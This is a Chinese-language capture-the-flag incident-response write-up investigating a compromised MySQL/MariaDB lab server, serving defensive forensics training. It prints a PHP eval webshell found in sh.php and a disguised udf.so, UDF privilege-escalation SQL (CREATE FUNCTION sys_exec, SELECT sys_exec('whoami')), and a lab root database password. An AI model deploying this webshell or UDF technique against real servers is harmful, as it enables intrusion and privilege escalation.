玄机——第一章日志分析-mysql应急响应
第一章日志分析-mysql应急响应
步骤 #1
黑客第一次写入的shell flag{关键字符串}
find / -name "*.php" | xargs grep "eval("
查看文件sh.php的内容
root@xuanji:~# cd /var/www/html
root@xuanji:/var/www/html# cat sh.php
1 2 <?php @eval($_POST['a']);?> 4
//ccfda79e-7aa1-4275-bc26-a6189eb9a20b
flag为 flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}
步骤 #2
黑客反弹shell的ip flag{ip}
查看定时任务,发现没有
查看日志文件
cd /var/log
ls
查看mysql文件夹的文件,发现了一个error日志
- MySQL 错误日志(
error.log
)可能会记录相关的错误信息,比如加载 UDF 库失败的报错,像Can't open shared library '/path/to/malicious_udf.so'
。 - *若攻击者使用的 SQL 语句(如创建函数、调用函数执行命令)涉及到写操作,会被记录在二进制日志(
binary log
)中。 - 若查询日志(
general log
)开启,那么创建 UDF 函数以及调用函数执行命令的 SQL 语句都会被记录下来,能直观看到攻击者的操作步骤。
查看error.log文件
cat error.log
发现了发生在临时文件/tmp的可疑信息,保存了一个文件1.sh
列出/tmp/1.sh文件的内容
则flag为 flag{192.168.100.13}
,成功
步骤 #3
黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
1.分析题目
提权文件,那么了解一般的提权攻击,参考学习了这篇文章 【玄机】第二章-日志分析-Mysql 应急响应
关于 Mysql 的提权方法有四种:
UDF 提权
MOF 提权(Windows 下)
启动项提权(Windows 下)
CVE-2016-6663(MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17)
那么查看目前靶场MariaDB的版本
mysql -V
那么排除后三个,剩下的就是UDF提权了
UDF
执行系统命令
MySQL 允许用户通过 CREATE FUNCTION 语句创建自定义函数,这些函数可以调用系统库函数。攻击者上传恶意的 UDF 动态链接库文件到服务器,然后创建对应的自定义函数,通过调用该函数来执行系统命令。比如在 Linux 系统中,攻击者上传恶意的 .so 文件到 MySQL 的插件目录(由 plugin_dir 系统变量指定),并使用 SQL 语句创建函数,如 CREATE FUNCTION sys_exec RETURNS INTEGER SONAME’malicious_udf.so’; ,之后调用 SELECT sys_exec(‘whoami’); 就可以执行系统命令,若 MySQL 以高权限运行,攻击者就可能利用此方式获取系统的高权限。
UDF 的动态链接库文件放置于 /usr/lib/mysql/plugin/ 或 /usr/lib64/mysql/plugin/
2.解题
方法一:
那就查看UDF的动态链接库
cd /usr/lib/mysql/plugin
ls -al
部分文件权限是 rw - rw - rw - (如 mysqludf.so、udf.so ),即所有用户都有读写权限。如果这些是 UDF 相关文件,存在较大风险,因为恶意用户可能篡改其内容,植入恶意代码,利用 UDF 执行系统命令等方式提权。正常情况下,这类文件应严格限制权限,至少让 mysql 用户可读写,其他用户仅能读或无权限。
查看两个文件的内容
发现这个udf.so的文件与步骤一找到的黑客写入的shell文件的内容近乎一样,而且udf.so 本应是 ELF 二进制文件(动态链接库),但实际内容是 PHP WebShell(<?php @eval($_POST['a']);?>),说明文件被恶意篡改或伪装。
通过伪装 UDF 文件植入了 WebShell,攻击者先通过漏洞写入 WebShell(sh.php),再尝试伪装成 UDF 文件(udf.so)绕过防护,意图长期控制服务器。利用 MySQL UDF 提权的名义,实际是混淆视听,本质是 Web 后门渗透。
那么提权文件的完整路径为/usr/lib/mysql/plugin/udf.so
那么在线网站MD5加密得到flag为 flag{B1818BDE4E310F3D23F1005185B973E7}
方法二:
看到有别的大佬的wp是检查数据库的信息,那么也来操作一下
首先要找的就是MySQL数据库的账号和密码
一般**/etc/mysql/my.cnf**中会保存着MySQL的登录密码,但是查找发现这里没有。
还有一个可找方向就是**/var/www/html目录下的common.php**文件。
Linux 系统的/var/www/html
目录下,common.php
是一个 PHP 脚本文件 ,通常在 Web 应用中承担着公共功能或配置相关的作用
配置文件
数据库连接配置:用于存储 Web 应用连接数据库(如 MySQL、PostgreSQL 等)的相关信息,包括数据库主机地址、用户名、密码、数据库名
查看/var/www/html/common.php
文件,发现了数据库的账户和密码
登录数据库
mysql -uroot -p334cc35b3c704593
为了了解 MySQL 在文件操作安全、身份验证安全、时间戳安全等方面的配置情况,输入一下命令进行查询
show global variables like '%secure%';
secure_auth=OFF:
允许低版本客户端用弱加密密码连接,若数据库用户密码简单,易被中间人攻击破解。
secure_file_priv 为空:
是 MySQL 提权的典型高危配置!攻击者可利用 SELECT … INTO OUTFILE 写入恶意文件(如 WebShell),或通过 LOAD_FILE() 读取系统敏感数据。
那么这里就能明确的确定是UDF提权了
show variables like '%plugin%';
查询与插件相关的配置变量,帮助你了解当前数据库支持哪些插件、插件目录位置以及插件加载状态。
plugin_dir
若该目录对普通用户或 Web 进程可写,攻击者可上传恶意 UDF 插件,通过 CREATE FUNCTION 加载后执行系统命令提权。确认是否存在未知 .so 文件
发现了过大权限的mysqludf.so和udf.so文件
查看文件内容发现udf.so文件的内容与步骤提黑客写入的shell文件内容一样,那么提权文件完整路径为/usr/lib/mysql/plugin/udf.so
步骤 #4
黑客获取的权限 flag{whoami后的值}
1、分析题目
首先whoami命令是目前正在登录的用户
2、解题
查看进程(进程中可以显示出用户名以及查看启动进程所使用的命令和参数)
ps -aux
那么用户名就是mysql ,即flag为 flag{mysql}
若需要进一步确定,那就查看数据库
提权的典型痕迹
.so 文件:
MySQL 日志
MySQL 函数表:mysql.func 表中是否有异常的 UDF 函数。
SELECT * FROM mysql.func;
再查询,得到mysql
select sys_eval('whoami');
参考文章
玄机——第二章日志分析-mysql应急响应 wp-CSDN博客
第一章日志分析-mysql应急响应 - 玄机